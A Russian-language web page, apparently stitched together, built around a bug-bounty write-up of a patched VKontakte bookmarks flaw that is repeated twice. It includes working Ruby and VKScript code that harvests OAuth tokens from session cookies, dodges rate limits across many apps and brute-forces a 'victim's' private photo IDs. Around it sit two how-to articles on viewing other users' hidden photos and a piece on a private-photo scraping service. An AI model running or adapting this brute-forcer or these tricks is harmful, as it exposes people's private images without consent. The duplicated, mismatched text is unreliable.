Частные записи в контакте. Как смотреть скрытые фотографии вконтакте. Открываем исходный код

tl;dr

Была обнаружена уязвимость в закладках ВК, которая позволяла получать прямые ссылки на приватные фотографии из личных сообщений, альбомов любого пользователя/группы. Был написан скрипт, который перебирал фотографии пользователя за определенный период и затем, через эту уязвимость получал прямые ссылки на изображения. Если коротко, то: можно было за 1 минуту получить все ваши вчерашние фотографии, за 7 минут - все фото, загруженные на прошлой неделе, за 20 минут - прошлый месяц, за 2 часа - прошлый год. Уязвимость на данный момент исправлена. Администрация ВКонтакте выплатила вознаграждение в 10к голосов.

История началась с того, как мне в личку во «Вконтакте» кинули изображение. Обычно, если вещь важная, я её загружаю в облако, но в моём случае в этом не было необходимости, и я решил воспользоваться функцией закладок «Вконтакте».

Коротко про эту функциональность: в закладки добавляются все вещи, которые юзер лайкнул; также есть функция ручного добавления ссылки на пользователя и внутренней ссылки «ВКонтакте». Последний пункт мне показался очень интересным, так как после добавления ссылки на фото я увидел его превьюшку и текст с типом добавленной сущности:

При добавлении ссылки сервер парсит её, пытается выяснить, на какую сущность она ссылается и достает информацию об этом объекте из базы. Как правило, при написании такого рода функций с множеством условий вероятность того, что разработчик что-то забудет, очень высока. Поэтому я не смог себе позволить пройти мимо и решил потратить несколько минут, чтобы немного поэкспериментировать.

В результате мне удалось кое-что найти. При добавлении ссылки на фотографию, заметку или видео, к которым нет доступа, можно было получить немного приватной информации об объекте. В случае с фото и видео - это маленькая (150x150) превьюшка, на которой довольно сложно что-либо разглядеть, у приватных заметок отображалось название. Через метод API fave.getLinks можно было получить ссылки на изображение, но опять же слишком маленького размера (75px и 130px). Так что, по сути, ничего серьезного.

Я решил зайти на мобильную версию сайта, чтобы проверить, отображается ли там всё так же, как и в обычной версии. Заглянув в код странички, я увидел это:

Да! В значении атрибута data-src_big хранилась прямая ссылка на оригинал изображения!

Таким образом, можно было получить прямую ссылку на любое изображение во «Вконтакте», вне зависимости от того, куда оно загружалось и какие настройки приватности имело. Это могло быть изображение из личных сообщений или же фотография из приватных альбомов любого пользователя/группы.

Казалось бы, на этом можно было остановиться и написать разработчикам, но мне стало интересно, возможно ли, эксплуатируя эту уязвимость, получить доступ ко всем (ну или загруженным в определенный период времени) фотографиям юзера. Основной проблемой тут, как вы понимаете, являлось то, что не всегда известна ссылка на приватную фотографию вида photoXXXXXX_XXXXXXX , которую нужно добавить в закладки. В голову пришла мысль о переборе id фотки, но я её почему-то тут же отверг как сумасшедшую. Я проверил связанные с фотографиями методы в API, посмотрел, как приложение работает с альбомами, но никаких утечек, которые могли бы мне помочь получить список с айдишками всех закрытых фоток юзера, найти не удалось. Я уже хотел было бросить эту затею, но взглянув еще раз на ссылку с фотографией, вдруг понял, что перебор таки был хорошей идеей.

Как работают фотографии в ВК

Как вы могли заменить, ссылка на фотографию photo52708106_359542386 состоит из двух частей: (id пользователя)_(какое-то непонятное число) . Как же формируется вторая часть?

Увы, но, потратив два часа на эксперименты, я так этого и не понял. В 2012 году на HighLoad++ Олег Илларионов сказал несколько слов про то, как они хранят фотографии, про горизонтальный шардинг и случайный выбор сервера для загрузки, но эта информация мне ничего не дала, так как между id сервера и id фотки никакой связи не видно. Понятно, что есть некий глобальный счетчик, но там есть ещё какая-то логика… Потому что если второе число формировалось бы с помощью обычного автоинкремента, то значения айдишок фоток давно бы уже достигли огромных значений (у фб, например, на данный момент это ~700 трлн.), но у «Вконтакте» это значение всего лишь ~400 млн (хотя, судя по статистике, ежедневно пользователи загружают более 30 млн фотографий). Т.е. ясно, что цифра эта не уникальна, но при этом и не рандомная. Я написал скриптик, который прошелся по фотографиям «старых» пользователей и по полученным данным составил график того, на сколько менялась эта цифра с каждым годом :

Видно, что значения скачут в зависимости от каких-то факторов (количества серверов или новой логики?). Но суть в том, что они достаточно малы (особенно за последние 2-3 года) и очень легко вычислить диапазон id для желаемого периода времени. То есть чтобы узнать прямые ссылки на фотки юзера, допустим, за прошлый год, нужно попробовать добавить в закладки всего лишь 30 млн (от _320000000 до _350000000) различных вариаций ссылок! Ниже я описал технику перебора, которая позволила мне проделать это за считанные минуты.

Перебираем фотографии

Можно было всё это добавлять руками через интерфейс или же написать скрипт, который добавляет по одной ссылке в закладки, но это было бы скучно и долго. Скорость перебора в таком случае составила бы 3 закладки в секунду, т.к. больше трех запросов в секунду на сервер «Вконтакте» отправлять нельзя .

Ускоряем перебор x25

Чтобы хоть немного обойти ограничение в 3 запроса, я решил воспользоваться методом execute . В одном вызове этого метода возможно 25 обращений к методам API.

Var start = parseInt(Args.start); var end = parseInt(Args.end); var victimId = Args.id; var link = "http://vk.com/photo" + victimId + "_"; while(start != end) { API.fave.addLink({ "link": link + start }); start = start + 1; };
Тем самым удалось повысить скорость брутфорса до 3*25 закладок/сек. За прошлый год фотографии перебирались бы долго, но вот для коротких промежутков этот метод перебора уже был довольно-таки неплох.

Ускоряем перебор x25 * количество параллельных запросов в секунду

Ограничение на количество запросов/сек действует на каждое приложение отдельно, а не на пользователя целиком. Так что ничего не мешает отправлять параллельно много запросов, но при этом используя в них токены от разных приложений.

Для начала нужно было найти (или создать) нужное количество приложений. Был написан скрипт, который ищет standalone приложения в заданном интервале идентификаторов приложений:

Class StandaloneAppsFinder attr_reader:app_ids def initialize(params) @range = params[:in_range] @app_ids = end def search (@range).each do |app_id| response = open("https://api.vk.com/method/apps.get?app_id=#{app_id}").read app = JSON.parse(response)["response"] app_ids << app_id if standalone?(app) end end private def standalone?(app_data) app_data["type"] == "standalone" end end
Можно было еще отбирать приложения по количеству пользователей, дабы еще больше ускорить дальнейший перебор:

Но решил с этим не заморачиваться.

Ок, приложения найдены, теперь им нужно дать разрешение к данным нашего пользователя и получить токены. Для авторизации пришлось использовать механизм Implicit Flow. Пришлось парсить урл авторизации из диалога OAuth и после редиректа вытаскивать токен. Для работы данного класса нужны куки p,l (login.vk.com) и remixsid (vk.com):

Class Authenticator attr_reader:access_tokens def initialize(cookie_header) @cookies = { "Cookie" => cookie_header } @access_tokens = end def authorize_apps(apps) apps.each do |app_id| auth_url = extract_auth_url_from(oauth_page(app_id)) redirect_url = open(auth_url, @cookies).base_uri.to_s access_tokens << extract_token_from(redirect_url) end end private def extract_auth_url_from(oauth_page_html) Nokogiri::HTML(oauth_page_html).css("form").attr("action").value end def extract_token_from(url) URI(url).fragment end def oauth_page(app_id) open(oauth_page_url(app_id), @cookies).read end def oauth_page_url(app_id) "https://oauth.vk.com/authorize?" + "client_id=#{app_id}&" + "response_type=token&" + "display=mobile&" + "scope=474367" end end
Сколько приложений найдено, столько и параллельных запросов. Для распараллеливания всего этого дела было решено использовать гем Typhoeus , который отлично зарекомендовал себя в других задачах. Получился такой вот небольшой брутфорсер:

Class PhotosBruteforcer PHOTOS_ID_BY_PERIOD = { "today" => 366300000..366500000, "yesterday" => 366050000..366300000, "current_month" => 365000000..366500000, "last_month" => 360000000..365000000, "current_year" => 350000000..366500000, "last_year" => 320000000..350000000 } def initialize(params) @victim_id = params[:victim_id] @period = PHOTOS_ID_BY_PERIOD] end def run(tokens) hydra = Typhoeus::Hydra.new tokensIterator = 0 (@period).step(25) do |photo_id| url = "https://api.vk.com/method/execute?access_token=#{tokens}&code=#{vkscript(photo_id)}" encoded_url = URI.escape(url).gsub("+", "%2B").delete("\n") tokensIterator = tokensIterator == tokens.count - 1 ? 0: tokensIterator + 1 hydra.queue Typhoeus::Request.new encoded_url hydra.run if tokensIterator.zero? end hydra.run unless hydra.queued_requests.count.zero? end private def vkscript(photo_id) <<-VKScript var start = #{photo_id}; var end = #{photo_id + 25}; var link = "http://vk.com/photo#{@victim_id}" + "_"; while(start != end) { API.fave.addLink({ "link": link + start }); start = start + 1; }; return start; VKScript end end
Чтобы ещё больше ускорить брутфорс, была попытка избавиться от ненужного тела в ответе, но на HEAD запрос сервер «Вконтакте» возвращает ошибку 501 Not implemented .

Окончательная версия скрипта выглядит так:

Require "nokogiri" require "open-uri" require "typhoeus" require "json" require "./standalone_apps_finder" require "./photos_bruteforcer" require "./authenticator" bruteforcer = PhotosBruteforcer.new(victim_id: ARGV, period: ARGV) apps_finder = StandaloneAppsFinder.new(in_range: 4800000..4800500) apps_finder.search # p,l - cookies from login.vk.com # remixsid - cookie from vk.com authenticator = Authenticator.new("p=;" + "l=;" + "remixsid=;") authenticator.authorize_apps(apps_finder.app_ids) bruteforcer.run(authenticator.access_tokens)
После отработки программы в закладках были все фотографии пользователя за заданный период. Оставалось только зайти в мобильную версию «Вконтакте», открыть консоль браузера, вытащить прямые ссылки и наслаждаться фотографиями в их оригинальном размере.

Итоги

В целом, всё зависит от вашего интернет соединения и скорости прокси серверов, латенси серверов «Вконтакте», мощности процессора и множества других факторов. Опробовав скрипт выше на своем аккаунте, получил такие вот цифры (без учета времени, потраченного на получение токенов):

В таблице показано среднее время, необходимое для того, чтобы перепробовать id фотографий за определенный период. Я уверен, всё это можно было ускорить раз так в 10-20. Например, в скрипте брутфорса сделать одну большую очередь из всех запросов и нормальную синхронизацию между ними, т.к. в моей реализации один запрос с timeout будет тормозить весь процесс. Да и вообще, можно было просто купить парочку инстансов на EC2, и за часик получить все фотографии какого угодно пользователя. Но я уже хотел спать.

Да и вообще, не важно, сколько времени злоумышленник на это потратит, 5 часов или же целый день, ведь так или иначе ссылки на приватные изображения он добудет. Возможность железно получить доступ к приватной информации за конечное время – и есть главная угроза, которую несёт данная уязвимость.

Сообщаем об уязвимости

Сначала репорт был отправлен службе поддержки, но после ответа вида «спасибо, как-нибудь пофиксим наверное…» и недели ожидания, мне что-то стало грустно. Большое спасибо Bo0oM , который помог связаться с разработчиками напрямую. После этого баги закрыли в течение нескольких часов, а через несколько дней на мой счёт администрация перевела вознаграждение в размере 10к

Сложно найти компьютерного пользователя, который бы не слышал или не был зарегистрирован в социальной сети ВКонтакте. Интернет-общение настолько захватило современных людей, что без них мы уже не представляем свой досуг, да что там, вообще свою жизнь. Имея собственную страничку в ВК, невольно замечаешь множество нюансов, которые таит в себе данный ресурс, однако не со всеми ними легко справиться. У многих юзеров все эти тонкости и премудрости вызывают сложности, поэтому без посторонней помощи здесь не обойтись.

Например, много вопросов поступает о том, как скрытые фотографии ВКонтакте. Но бывает так, что , а вам позарез нужно увидеть его снимки. Про этичную сторону этого намерения я рассказывать не буду, но предложу вам способ, который, возможно, и поможет.

Как скрыть фотографии

Прежде чем перейти непосредственно к теме данной статьи, мне хотелось бы напомнить вам, как можно скрыть свои фотографии. Думаю, что многим подобная информация будет интересной, а те, кто уже нею владеют, могут освежить свои знания. Итак, дело обстоит так:

1. Зайдите в ВКонтакте, предварительно введя свои персональные данные для входа.
2. В левой части окна отыщите строчку «Мои настройки», нажмите на нее.
3. Далее откройте вкладку «Приватность».
4. Там будет перечислены настройки, которые вы можете изменить на свое усмотрение. Здесь вы сможете также , . Среди них отыщите «Кто видит фотографии, на которых меня отметили». Рядышком есть выпадающий список, который позволяет выбрать круг людей, которым будут видны ваши фото. Так, вы можете выбрать «Только друзья» или вообще скрыть снимки ото всех, нажав «Только я».

После данных настроек изменения незамедлительно вступают в силу.

Как посмотреть скрытые фотографии

Теперь, собственно, к основному вопросу: как же посмотреть фото людей, которые ограничили доступ? Прямого ответа на этот вопрос нет, потому как администрация ВК предполагает, что чужую приватность следует уважать. Однако если ситуация такова, что вариантов нет, предлагаю вам воспользоваться таким вариантом.

Хочу обратить ваше внимание, что данный способ не является одобренным администрацией ВК, поэтому он может перестать работать в любо момент. Универсального рецепта нет, поэтому не стоит возлагать слишком много надежд. В любом случае, желаю удачи!

tl;dr

Была обнаружена уязвимость в закладках ВК, которая позволяла получать прямые ссылки на приватные фотографии из личных сообщений, альбомов любого пользователя/группы. Был написан скрипт, который перебирал фотографии пользователя за определенный период и затем, через эту уязвимость получал прямые ссылки на изображения. Если коротко, то: можно было за 1 минуту получить все ваши вчерашние фотографии, за 7 минут - все фото, загруженные на прошлой неделе, за 20 минут - прошлый месяц, за 2 часа - прошлый год. Уязвимость на данный момент исправлена. Администрация ВКонтакте выплатила вознаграждение в 10к голосов.

История началась с того, как мне в личку во «Вконтакте» кинули изображение. Обычно, если вещь важная, я её загружаю в облако, но в моём случае в этом не было необходимости, и я решил воспользоваться функцией закладок «Вконтакте».

Коротко про эту функциональность: в закладки добавляются все вещи, которые юзер лайкнул; также есть функция ручного добавления ссылки на пользователя и внутренней ссылки «ВКонтакте». Последний пункт мне показался очень интересным, так как после добавления ссылки на фото я увидел его превьюшку и текст с типом добавленной сущности:

При добавлении ссылки сервер парсит её, пытается выяснить, на какую сущность она ссылается и достает информацию об этом объекте из базы. Как правило, при написании такого рода функций с множеством условий вероятность того, что разработчик что-то забудет, очень высока. Поэтому я не смог себе позволить пройти мимо и решил потратить несколько минут, чтобы немного поэкспериментировать.

В результате мне удалось кое-что найти. При добавлении ссылки на фотографию, заметку или видео, к которым нет доступа, можно было получить немного приватной информации об объекте. В случае с фото и видео - это маленькая (150x150) превьюшка, на которой довольно сложно что-либо разглядеть, у приватных заметок отображалось название. Через метод API fave.getLinks можно было получить ссылки на изображение, но опять же слишком маленького размера (75px и 130px). Так что, по сути, ничего серьезного.

Я решил зайти на мобильную версию сайта, чтобы проверить, отображается ли там всё так же, как и в обычной версии. Заглянув в код странички, я увидел это:

Да! В значении атрибута data-src_big хранилась прямая ссылка на оригинал изображения!

Таким образом, можно было получить прямую ссылку на любое изображение во «Вконтакте», вне зависимости от того, куда оно загружалось и какие настройки приватности имело. Это могло быть изображение из личных сообщений или же фотография из приватных альбомов любого пользователя/группы.

Казалось бы, на этом можно было остановиться и написать разработчикам, но мне стало интересно, возможно ли, эксплуатируя эту уязвимость, получить доступ ко всем (ну или загруженным в определенный период времени) фотографиям юзера. Основной проблемой тут, как вы понимаете, являлось то, что не всегда известна ссылка на приватную фотографию вида photoXXXXXX_XXXXXXX , которую нужно добавить в закладки. В голову пришла мысль о переборе id фотки, но я её почему-то тут же отверг как сумасшедшую. Я проверил связанные с фотографиями методы в API, посмотрел, как приложение работает с альбомами, но никаких утечек, которые могли бы мне помочь получить список с айдишками всех закрытых фоток юзера, найти не удалось. Я уже хотел было бросить эту затею, но взглянув еще раз на ссылку с фотографией, вдруг понял, что перебор таки был хорошей идеей.

Как работают фотографии в ВК

Как вы могли заменить, ссылка на фотографию photo52708106_359542386 состоит из двух частей: (id пользователя)_(какое-то непонятное число) . Как же формируется вторая часть?

Увы, но, потратив два часа на эксперименты, я так этого и не понял. В 2012 году на HighLoad++ Олег Илларионов сказал несколько слов про то, как они хранят фотографии, про горизонтальный шардинг и случайный выбор сервера для загрузки, но эта информация мне ничего не дала, так как между id сервера и id фотки никакой связи не видно. Понятно, что есть некий глобальный счетчик, но там есть ещё какая-то логика… Потому что если второе число формировалось бы с помощью обычного автоинкремента, то значения айдишок фоток давно бы уже достигли огромных значений (у фб, например, на данный момент это ~700 трлн.), но у «Вконтакте» это значение всего лишь ~400 млн (хотя, судя по статистике, ежедневно пользователи загружают более 30 млн фотографий). Т.е. ясно, что цифра эта не уникальна, но при этом и не рандомная. Я написал скриптик, который прошелся по фотографиям «старых» пользователей и по полученным данным составил график того, на сколько менялась эта цифра с каждым годом :

Видно, что значения скачут в зависимости от каких-то факторов (количества серверов или новой логики?). Но суть в том, что они достаточно малы (особенно за последние 2-3 года) и очень легко вычислить диапазон id для желаемого периода времени. То есть чтобы узнать прямые ссылки на фотки юзера, допустим, за прошлый год, нужно попробовать добавить в закладки всего лишь 30 млн (от _320000000 до _350000000) различных вариаций ссылок! Ниже я описал технику перебора, которая позволила мне проделать это за считанные минуты.

Перебираем фотографии

Можно было всё это добавлять руками через интерфейс или же написать скрипт, который добавляет по одной ссылке в закладки, но это было бы скучно и долго. Скорость перебора в таком случае составила бы 3 закладки в секунду, т.к. больше трех запросов в секунду на сервер «Вконтакте» отправлять нельзя .

Ускоряем перебор x25

Чтобы хоть немного обойти ограничение в 3 запроса, я решил воспользоваться методом execute . В одном вызове этого метода возможно 25 обращений к методам API.

Var start = parseInt(Args.start); var end = parseInt(Args.end); var victimId = Args.id; var link = "http://vk.com/photo" + victimId + "_"; while(start != end) { API.fave.addLink({ "link": link + start }); start = start + 1; };
Тем самым удалось повысить скорость брутфорса до 3*25 закладок/сек. За прошлый год фотографии перебирались бы долго, но вот для коротких промежутков этот метод перебора уже был довольно-таки неплох.

Ускоряем перебор x25 * количество параллельных запросов в секунду

Ограничение на количество запросов/сек действует на каждое приложение отдельно, а не на пользователя целиком. Так что ничего не мешает отправлять параллельно много запросов, но при этом используя в них токены от разных приложений.

Для начала нужно было найти (или создать) нужное количество приложений. Был написан скрипт, который ищет standalone приложения в заданном интервале идентификаторов приложений:

Class StandaloneAppsFinder attr_reader:app_ids def initialize(params) @range = params[:in_range] @app_ids = end def search (@range).each do |app_id| response = open("https://api.vk.com/method/apps.get?app_id=#{app_id}").read app = JSON.parse(response)["response"] app_ids << app_id if standalone?(app) end end private def standalone?(app_data) app_data["type"] == "standalone" end end
Можно было еще отбирать приложения по количеству пользователей, дабы еще больше ускорить дальнейший перебор:

Но решил с этим не заморачиваться.

Ок, приложения найдены, теперь им нужно дать разрешение к данным нашего пользователя и получить токены. Для авторизации пришлось использовать механизм Implicit Flow. Пришлось парсить урл авторизации из диалога OAuth и после редиректа вытаскивать токен. Для работы данного класса нужны куки p,l (login.vk.com) и remixsid (vk.com):

Class Authenticator attr_reader:access_tokens def initialize(cookie_header) @cookies = { "Cookie" => cookie_header } @access_tokens = end def authorize_apps(apps) apps.each do |app_id| auth_url = extract_auth_url_from(oauth_page(app_id)) redirect_url = open(auth_url, @cookies).base_uri.to_s access_tokens << extract_token_from(redirect_url) end end private def extract_auth_url_from(oauth_page_html) Nokogiri::HTML(oauth_page_html).css("form").attr("action").value end def extract_token_from(url) URI(url).fragment end def oauth_page(app_id) open(oauth_page_url(app_id), @cookies).read end def oauth_page_url(app_id) "https://oauth.vk.com/authorize?" + "client_id=#{app_id}&" + "response_type=token&" + "display=mobile&" + "scope=474367" end end
Сколько приложений найдено, столько и параллельных запросов. Для распараллеливания всего этого дела было решено использовать гем Typhoeus , который отлично зарекомендовал себя в других задачах. Получился такой вот небольшой брутфорсер:

Class PhotosBruteforcer PHOTOS_ID_BY_PERIOD = { "today" => 366300000..366500000, "yesterday" => 366050000..366300000, "current_month" => 365000000..366500000, "last_month" => 360000000..365000000, "current_year" => 350000000..366500000, "last_year" => 320000000..350000000 } def initialize(params) @victim_id = params[:victim_id] @period = PHOTOS_ID_BY_PERIOD] end def run(tokens) hydra = Typhoeus::Hydra.new tokensIterator = 0 (@period).step(25) do |photo_id| url = "https://api.vk.com/method/execute?access_token=#{tokens}&code=#{vkscript(photo_id)}" encoded_url = URI.escape(url).gsub("+", "%2B").delete("\n") tokensIterator = tokensIterator == tokens.count - 1 ? 0: tokensIterator + 1 hydra.queue Typhoeus::Request.new encoded_url hydra.run if tokensIterator.zero? end hydra.run unless hydra.queued_requests.count.zero? end private def vkscript(photo_id) <<-VKScript var start = #{photo_id}; var end = #{photo_id + 25}; var link = "http://vk.com/photo#{@victim_id}" + "_"; while(start != end) { API.fave.addLink({ "link": link + start }); start = start + 1; }; return start; VKScript end end
Чтобы ещё больше ускорить брутфорс, была попытка избавиться от ненужного тела в ответе, но на HEAD запрос сервер «Вконтакте» возвращает ошибку 501 Not implemented .

Окончательная версия скрипта выглядит так:

Require "nokogiri" require "open-uri" require "typhoeus" require "json" require "./standalone_apps_finder" require "./photos_bruteforcer" require "./authenticator" bruteforcer = PhotosBruteforcer.new(victim_id: ARGV, period: ARGV) apps_finder = StandaloneAppsFinder.new(in_range: 4800000..4800500) apps_finder.search # p,l - cookies from login.vk.com # remixsid - cookie from vk.com authenticator = Authenticator.new("p=;" + "l=;" + "remixsid=;") authenticator.authorize_apps(apps_finder.app_ids) bruteforcer.run(authenticator.access_tokens)
После отработки программы в закладках были все фотографии пользователя за заданный период. Оставалось только зайти в мобильную версию «Вконтакте», открыть консоль браузера, вытащить прямые ссылки и наслаждаться фотографиями в их оригинальном размере.

Итоги

В целом, всё зависит от вашего интернет соединения и скорости прокси серверов, латенси серверов «Вконтакте», мощности процессора и множества других факторов. Опробовав скрипт выше на своем аккаунте, получил такие вот цифры (без учета времени, потраченного на получение токенов):

В таблице показано среднее время, необходимое для того, чтобы перепробовать id фотографий за определенный период. Я уверен, всё это можно было ускорить раз так в 10-20. Например, в скрипте брутфорса сделать одну большую очередь из всех запросов и нормальную синхронизацию между ними, т.к. в моей реализации один запрос с timeout будет тормозить весь процесс. Да и вообще, можно было просто купить парочку инстансов на EC2, и за часик получить все фотографии какого угодно пользователя. Но я уже хотел спать.

Да и вообще, не важно, сколько времени злоумышленник на это потратит, 5 часов или же целый день, ведь так или иначе ссылки на приватные изображения он добудет. Возможность железно получить доступ к приватной информации за конечное время – и есть главная угроза, которую несёт данная уязвимость.

Сообщаем об уязвимости

Сначала репорт был отправлен службе поддержки, но после ответа вида «спасибо, как-нибудь пофиксим наверное…» и недели ожидания, мне что-то стало грустно. Большое спасибо , который помог связаться с разработчиками напрямую. После этого баги закрыли в течение нескольких часов, а через несколько дней на мой счёт администрация перевела вознаграждение в размере 10к

В процессе изучения возможностей и простого использования страниц современной социальной сети ВКонтакте, у пользователей появляется большое количество вопросов. Одним из самых распространенных является решение проблемы, как посмотреть скрытые фото в ВКонтакте. Довольно часто пользователи скрывают свои профили полностью или частично, соответственно посмотреть их фото не представляется возможным.

Перед тем как рассмотреть вопрос, относительно возможности посмотреть скрытые фото, стоит кратко рассмотреть тему по их скрытию. Чтобы спрятать свои фото, потребуется выполнить следующие действия:

• Требуется зайти на страницу ВК;
• Слева найти строку «Мои настройки» и активировать ее;
• Открыть подраздел «Приватность»;
• Появятся специальные настройки приватности. Их можно устанавливать по своему усмотрению.

Скрыть можно не только фото, но аудиозаписи, посты и друзей. Выбрав строку, отражающую тех, кто может видеть фото, нужно определить тех, кому будет позволено видеть личные фото. Здесь можно выбрать полную скрытность, установив «только я» или предоставив просмотр только для друзей. Установленные функции сразу после проведенных настроек начинают действовать.

Как посмотреть сохраненные фото в ВК если они скрыты?

Итак, как увидеть скрытые фото пользователей ВК? Официальной схемы действия здесь нет, так как разработчики социальной сети уважают стремление пользователей сохранять свою приватность. При желании осуществить просмотр скрытых фото ВК, стоит выполнить следующие действия:

1. Нужно зайти в профиль пользователя, чьи фото есть желание посмотреть.
2. Совершается клик по свободному месту обычной кнопкой мыши.
3. Выбирается раздел «Посмотреть исходный код страницы».
4. Нажимается Ctrl+F.
5. В поиске вводится «albums», только без кавычек.
6. В строке после данного слова появляются цифры, их нужно скопировать. Это и есть код страницы.
7. Нужно снова зайти к пользователю в профиль и в строке адреса после ID ввести «?z=albums», также без кавычек.
8. Вставляется скопированный предварительно фрагмент.
9. Нажимается Enter, и получить удовольствие от лицезрения скрытых фото.

Важно! Этот вариант смотреть закрытые фотографии, если доступ закрыт, не совсем законный, администрация ВК его не одобряет.

По этой причине не нужно удивляться, если возможность смотреть сохраненные фото, если они скрыты, будет закрыта.

Сайт для просмотра скрытых фотографий В ВКонтакте

Данный метод можно использовать в случае уже полученного фрагмента кода, получить который можно вышеописанным способом. Для просмотра скрытых фото, необходимо вернуться на нужную страницу, на сайте социальной сети в строке браузерного поиска ввести ссылку, выстроенную по типу – vk.com/id….., где после ID идет идентификационный номер страницы. Далее ставится курсор на самый конец адреса и сразу вводятся специальные знаки «?z=».

В результате подобных действий в строке рабочего браузера выйдет надпись – vk.com/id……?z=albums….., где многоточие является ID пользователя. После нажатия на Enter, вниманию автоматически откроются все фото интересующего человека.

Заключение

Представленными вниманию довольно простыми способами можно без особых проблем изучить фото пользователей, находящихся в закрытых альбомах. Основным преимуществом подобных методик является возможность увидеть фото в альбомах тех людей, что уже не являются друзьями по ВК и совершенно незнакомых пользователей.

Огромный сборник частных фотографий в ВК (около 100 млн.). Сервис собирает фото всех пользователей соц. сети в единый каталог.

Найти фотографии того или иного пользователя просто - достаточно ввести его . А удалить сложно, если написать на e-mail создателям, то шанс невысокий, а, если внести пожертвования, то шанс повышается.

Каким образом скотобаза собирает фотографии в ВК? Всё очень просто: сервис автоматически загружает в сборник фотографии всех пользователей в онлайн режиме . Неважно, где вы Выкладываете фото, в сообществе или профиле. Даже, если фото удалить через пару минут - оно уже будет в скотобазе.

Поэтому много недовольных пользователей обратились в Роскомнадзор , который поспособствовал тому, чтобы скотобаза была заблокирована на территории Российской Федерации. Обход блокировки невозможен.

Сбор и хранение личных данных пользователей запрещён . Хотя пользователи сами выкладывают фотографии в публичный доступ.

На данный момент сайт не работает даже с прокси-серверах. Владельцы забросили дело сразу же после блокировки. Так что можете спать спокойно и не боятся, что кто-то посмотрим Ваши личные фотографии.

Аналоги Скотобазы

В 2018 годах были разные аналоги, типа "Спалили" , но все они не работают, так как разработчики Вконтакте подкрутили скрипты, запрещающие ботам похищать частные фото.

Внимание: в интернете полно "аналогов" скотобазы, но все они мало того, что не работают, но и являются причиной взлома аккаунта ! Если Вы наткнулись на подобные сайты ни в коем случае не вводите данные от Вконтакте . Злоумышленники получат доступ к аккаунту и смогут .

Эпоха скотобазы и подобных сервисов прошла. Теперь хранение и распространение интимных, частных фотографий под запретом. Если не соблюдать закон - последует наказание.